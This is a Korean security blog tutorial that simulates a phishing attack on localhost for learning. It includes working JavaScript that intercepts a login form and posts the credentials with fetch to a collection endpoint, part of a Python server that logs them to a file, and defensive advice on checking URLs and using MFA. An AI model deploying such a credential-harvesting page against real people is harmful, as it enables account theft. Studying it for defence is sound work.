본 블로그는 학습용입니다. 명시적 동의 없는 시스템 접근·정보수집은 불법이며 형사·민사 책임이 따릅니다.
실습은 격리된 테스트 환경에서만 허용됩니다. (형법·정보통신망법·정보통신기반보호법 등)
1. 주제
최근 유명 기업을 사칭한 피싱 공격으로 인해 수많은 사용자의 개인정보가 유출되는 사건이 있었습니다. 공격자는 실제 웹사이트와 구별이 거의 불가능한 가짜 로그인 페이지를 만들어 사용자들을 유인했고, 여기에 입력된 계정 정보는 고스란히 공격자의 손에 넘어갔습니다. 피싱(Phishing)은 기술적으로는 간단하지만, 사용자의 신뢰를 악용하기 때문에 가장 흔하면서도 효과적인 사이버 공격 중 하나로 꼽힙니다.
이 글에서는 공격자가 어떻게 가짜 로그인 페이지를 만들고, 사용자가 입력한 정보를 어떤 방식으로 훔쳐 가는지 그 내부 동작 원리를 상세히 분석합니다. 간단한 코드를 통해 직접 피싱 공격을 시뮬레이션해봄으로써, 막연하게만 느껴졌던 위협을 명확히 이해하고 앞으로 어떻게 스스로를 보호할 수 있을지 알아보는 것을 목표로 합니다
https://www.donga.com/news/It/article/all/20250903/132312927/1\
통신사 해킹 넘어 ‘로그인 피싱’까지…“한눈팔면 다 털린다”
최근 통신사와 카드사의 해킹에 따른 내부 데이터 유출이 잇따르면서 플랫폼의 ‘간편 로그인’ 기능을 악용한 새로운 피싱에도 주의가 요구된다.간편 로그인 기능을 지원하는 네이버(035420)와
www.donga.com
2. 정의 및 작동 원리
2.1. 상세 정의
피싱이란 신뢰할 수 있는 개인이나 기업을 사칭하여 이메일, 메신저 등을 통해 사용자를 속여 가짜 웹사이트로 유도한 뒤, 개인정보(사용자 이름, 비밀번호, 신용카드 정보 등)를 불법적으로 취득하는 대표적인 사회 공학적 해킹 기법입니다. 공격자는 훔친 정보를 이용해 금융 사기, 계정 도용 등 2차 범죄를 저지를 수 있습니다
2.2. 흐름

3. 시나리오 및 실습 환경
3.1. 목표
사용자가 가짜 로그인 페이지에 ID와 비밀번호를 입력하면, 해당 정보가 공격자의 서버에 텍스트 파일 형태로 저장되는 과정을 재현합니다.
3.2. 실습 환경
- Target: 로컬 환경 (http://localhost:8080)
- Tool(s): vscode, 웹 브라우저
- Account: test / qhdksxptmxm (로그인 접속 ID, PW)
4. 분석 및 공격 절차
4.1. [1단계: 공격 코드 분석]
공격은 크게 두 부분으로 나뉘는데, 사용자에게 보여지는 가짜 로그인 페이지와 정보를 탈취하는 백그라운드 서버입니다.
phishing_page(가짜 로그인 페이지) 단순한 ID/PW 입력 폼처럼 보이지만, 핵심은 <script> 태그 안에 있습니다.
사용자가 로그인 버튼을 클릭하면 submit 이벤트가 발생하지만, event.preventDefault() 코드가 폼의 기본 동작(서버로 데이터 전송 및 페이지 이동)을 막습니다. 입력된 ID와 비밀번호 값을 가져와 fetch 함수를 통해 공격자의 서버(http://localhost:8080/capture)로 전송합니다.
<script>
document.getElementById('loginForm').addEventListener('submit', function(event) {
event.preventDefault(); //기본 폼 제출 동작을 막는다
const data = {
username: document.getElementById('username').value,
password: document.getElementById('password').value
};
//입력된 정보를 공격자 서버로 전송함
fetch('http://localhost:8080/capture', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
});
</script>
keylogger_server.py (정보 탈취 서버) Python의 HTTPServer를 이용해 만든 간단한 웹 서버입니다.
- do_GET: 사용자가 서버 주소(http://localhost:8080)로 접속하면, 미리 만들어 둔 phishing_page.html을 보여주는 역할을 합니다.
- do_POST: 이 서버의 핵심 기능입니다. 가짜 로그인 페이지로부터 /capture 경로로 POST 요청이 들어오면, 요청에 담긴 JSON 데이터를 읽습니다. 데이터에서 username과 password를 추출하여 현재 시간, 접속 IP 등과 함께 captured_data.txt 파일에 기록합니다.
4.2. [2단계: 공격 시뮬레이션]
이제 직접 공격을 시뮬레이션 해보겠습니다.
- 터미널에서 keylogger_server.py 파일을 실행하여 공격자 서버를 가동합니다.
python3 keylogger_server.py 출력: 키로거 서버 시작: http://localhost:8080 - 웹 브라우저를 열고 주소창에 http://localhost:8080을 입력하여 가짜 로그인 페이지에 접속합니다.

- ID와 비밀번호 입력창에 각각 test, qhdksxptmxm를 입력하고 '로그인' 버튼을 클릭합니다. 페이지에는 아무런 변화가 없지만, 정보는 이미 서버로 전송되었습니다.

4.3. [3단계: 결과 확인]
공격이 성공했는지 확인해 보겠습니다.

- 서버를 실행했던 터미널을 보면, 계정 정보가 저장되었다는 로그가 출력된 것을 확인할 수 있습니다.
- 저장됨 - IP: 127.0.0.1, ID: test, PW: qhdksxptmxm
(로그인 폼에 입력했던 값을 포함하여 정보들이 잘 들어온 것을 확인할 수 있었습니다) - 프로젝트 폴더에 생성된 captured_data.txt 파일을 열어보면, 아래와 같이 피해자가 입력했던 정보가 고스란히 저장된 것을 볼 수 있습니다.
5. 핵심 코드 및 결과
5.1. 주요 페이로드
이번 실습에서 가장 핵심적인 역할을 한 코드는 정보를 탈취하여 서버로 보내는 JavaScript fetch 함수 부분입니다.
- phishing_page.html
fetch('http://localhost:8080/capture', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(data) //ID, PW 정보를 JSON 형태로 전송 }); - keylogger_server.py
def capture_data(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
data = json.loads(post_data.decode('utf-8')) #받은 데이터 파싱
username = data.get('username', '')
password = data.get('password', '')
#파일에 저장
with open('captured_data.txt', 'a', encoding='utf-8') as f:
f.write(f"ID: {username}\n")
f.write(f"PW: {password}\n")
5.2. 최종 결과
실습을 통해 사용자가 가짜 로그인 페이지에 입력한 계정 정보(test / qhdksxptmxm)가 captured_data.txt
파일에 성공적으로 탈취 및 저장되었음을 확인했습니다.
캡처된 데이터------------------
시간: 2025-09-22 04:53:02
IP: 127.0.0.1
ID: test
PW: qhdksxptmxm
브라우저: Mozilla/5.0 (...)
------------------------------
6. 대응 방안 및 결론
6.1. 보안 대책
이러한 피싱 공격으로부터 자신을 보호하기 위해 다음 수칙을 반드시 기억해야 합니다.
- (사용자) URL 주소 확인 생활화: 로그인 전, 브라우저 주소창의 URL이 내가 접속하려던 사이트가 맞는지, https 프로토콜을 사용하는지 반드시 확인하는 습관을 들여야 합니다.
- (사용자) 출처가 불분명한 링크 클릭 금지: 이메일, 메신저 등으로 받은 링크는 클릭하기 전에 항상 의심해야 합니다. 보낸이가 신뢰할 만한 사람이어도 계정 도용의 가능성이 있으므로 주의가 필요합니다.
- (사용자) 다단계 인증(MFA) 설정: 다단계 인증(MFA, Multi-Factor Authentication)을 사용하면, 만약 계정 정보가 유출되더라도 공격자가 쉽게 로그인할 수 없어 매우 효과적인 방어 수단이 됩니다.
6.2. 결론
이번 실습을 통해 우리는 간단한 웹 서버와 HTML 코드만으로도 얼마나 쉽게 피싱 공격이 이루어질 수 있는지 확인했습니다. 공격의 핵심은 '기술'보다는 사용자의 '신뢰'와 '부주의'를 노리는 사회 공학적 기법에 있다는 것을 알 수 있었습니다.
개발자는 안전한 인증 프로세스를 구축해야 할 책임이 있으며, 사용자는 항상 경계심을 갖고 신중하게 온라인 활동을 하는 것이 중요합니다. 이 글을 통해 피싱 공격의 위험성을 명확히 인지하고, 강력한 보안 습관을 통해 자신의 소중한 정보를 지켜나가시길 바랍니다.
'해킹&보안 > 웹' 카테고리의 다른 글
| CSRF 취약점 A to Z (0) | 2025.09.30 |
|---|---|
| 세션 기반 인증과 JWT 토큰 기반 인증 (0) | 2025.09.27 |
| [Writeup] 리다이렉션 속 숨은 단서 찾기 (0) | 2025.09.20 |
| [Writeup] 요청 조작을 통한 OTP 인증 우회 (0) | 2025.09.18 |
| Stored XSS란? (0) | 2025.08.27 |